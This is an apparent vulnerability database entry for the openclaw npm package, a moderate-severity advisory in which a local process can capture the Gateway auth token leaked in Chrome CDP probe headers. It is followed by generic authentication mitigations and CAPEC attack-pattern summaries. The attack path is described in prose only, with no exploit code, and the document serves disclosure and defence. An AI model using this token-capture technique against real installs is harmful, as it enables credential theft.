  • afa22acc4a09fdf32be8a167ae216bee85c30dad

Release Process Note

Patched version is set to >= 2026.2.22 for the published release.

OpenClaw thanks @tdjackey for reporting.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2026.2.21-2"
      },
      "package": {
        "ecosystem": "npm",
        "name": "openclaw"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2026.2.22"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-22174"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-290",
      "CWE-306"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-03T21:50:34Z",
    "nvd_published_at": "2026-03-18T02:16:21Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\nA local process can capture the OpenClaw Gateway auth token from Chrome CDP probe traffic on loopback.\n\n### Details\nAffected versions inject `x-openclaw-relay-token` for loopback CDP URLs, and CDP reachability probes send that header to `/json/version`.\nIf an attacker controls the probed loopback port, they can read that token and reuse it as Gateway bearer auth.\n\nRelevant code paths (pre-fix):\n- `src/browser/extension-relay.ts` (`getChromeExtensionRelayAuthHeaders`)\n- `src/browser/cdp.helpers.ts` (`getHeadersWithAuth`)\n- `src/browser/chrome.ts` (`fetchChromeVersion`)\n\n### Affected Packages / Versions\n- Package: `openclaw` (npm)\n- Latest published (at triage): `2026.2.21-2`\n- Vulnerable: `\u003c= 2026.2.21-2`\n- Patched: \u003e= 2026.2.22\n\n### Deployment Model Applicability\nThis does **not** change OpenClaw\u2019s documented security model for standard single-owner installs (you own the machine/VPS and trust local processes under that OS account boundary).\nRisk is for **non-standard shared-user/shared-host installs** where an untrusted local user/process can race/bind the loopback relay port.\n\n### Impact\n- Local credential disclosure.\n- Follow-on impact depends on local deployment and enabled Gateway capabilities.\n\n### Fix Commit(s)\n- `afa22acc4a09fdf32be8a167ae216bee85c30dad`\n\n### Release Process Note\nPatched version is set to \u003e= 2026.2.22 for the published release.\n\nOpenClaw thanks @tdjackey for reporting.",
  "id": "GHSA-v3j7-34xh-6g3w",
  "modified": "2026-03-18T21:52:16Z",
  "published": "2026-03-03T21:50:34Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-v3j7-34xh-6g3w"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-22174"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/commit/afa22acc4a09fdf32be8a167ae216bee85c30dad"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/openclaw/openclaw"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/openclaw-gateway-token-disclosure-via-chrome-cdp-probe"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "OpenClaw Loopback CDP probe can leak Gateway token to local listener"
}

Mitigation
Architecture and Design
  • Divide the software into anonymous, normal, privileged, and administrative areas. Identify which of these areas require a proven user identity, and use a centralized authentication capability.
  • Identify all potential communication channels, or other means of interaction with the software, to ensure that all channels are appropriately protected, including those channels that are assumed to be accessible only by authorized parties. Developers sometimes perform authentication at the primary channel, but open up a secondary channel that is assumed to be private. For example, a login mechanism may be listening on one network port, but after successful authentication, it may open up a second port where it waits for the connection, but avoids authentication because it assumes that only the authenticated party will connect to the port.
  • In general, if the software or protocol allows a single session or user state to persist across multiple connections or channels, authentication and appropriate credential management need to be used throughout.
Mitigation MIT-15
Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Mitigation
Architecture and Design
  • Where possible, avoid implementing custom, "grow-your-own" authentication routines and consider using authentication capabilities as provided by the surrounding framework, operating system, or environment. These capabilities may avoid common weaknesses that are unique to authentication; support automatic auditing and tracking; and make it easier to provide a clear separation between authentication tasks and authorization tasks.
  • In environments such as the World Wide Web, the line between authentication and authorization is sometimes blurred. If custom authentication routines are required instead of those provided by the server, then these routines must be applied to every single page, since these pages could be requested directly.
Mitigation MIT-4.5
Architecture and Design

Strategy: Libraries or Frameworks

  • Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
  • For example, consider using libraries with authentication capabilities such as OpenSSL or the ESAPI Authenticator [REF-45].
Mitigation
Implementation System Configuration Operation

When storing data in the cloud (e.g., S3 buckets, Azure blobs, Google Cloud Storage, etc.), use the provider's controls to require strong authentication for users who should be allowed to access the data [REF-1297] [REF-1298] [REF-1302].

CAPEC-12: Choosing Message Identifier

This pattern of attack is defined by the selection of messages distributed via multicast or public information channels that are intended for another client by determining the parameter value assigned to that client. This attack allows the adversary to gain access to potentially privileged information, and to possibly perpetrate other attacks through the distribution means by impersonation. If the channel/message being manipulated is an input rather than output mechanism for the system, (such as a command bus), this style of attack could be used to change the adversary's identifier to more a privileged one.

CAPEC-166: Force the System to Reset Values

An attacker forces the target into a previous state in order to leverage potential weaknesses in the target dependent upon a prior configuration or state-dependent factors. Even in cases where an attacker may not be able to directly control the configuration of the targeted application, they may be able to reset the configuration to a prior state since many applications implement reset functions.

CAPEC-216: Communication Channel Manipulation

An adversary manipulates a setting or parameter on communications channel in order to compromise its security. This can result in information exposure, insertion/removal of information from the communications stream, and/or potentially system compromise.

CAPEC-36: Using Unpublished Interfaces or Functionality

An adversary searches for and invokes interfaces or functionality that the target system designers did not intend to be publicly available. If interfaces fail to authenticate requests, the attacker may be able to invoke functionality they are not authorized for.

CAPEC-62: Cross Site Request Forgery

An attacker crafts malicious web links and distributes them (via web pages, email, etc.), typically in a targeted manner, hoping to induce users to click on the link and execute the malicious action against some third-party application. If successful, the action embedded in the malicious link will be processed and accepted by the targeted application with the users' privilege level. This type of attack leverages the persistence and implicit trust placed in user session cookies by many web applications today. In such an architecture, once the user authenticates to an application and a session cookie is created on the user's system, all following transactions for that session are authenticated using that cookie including potential actions initiated by an attacker and simply "riding" the existing session cookie.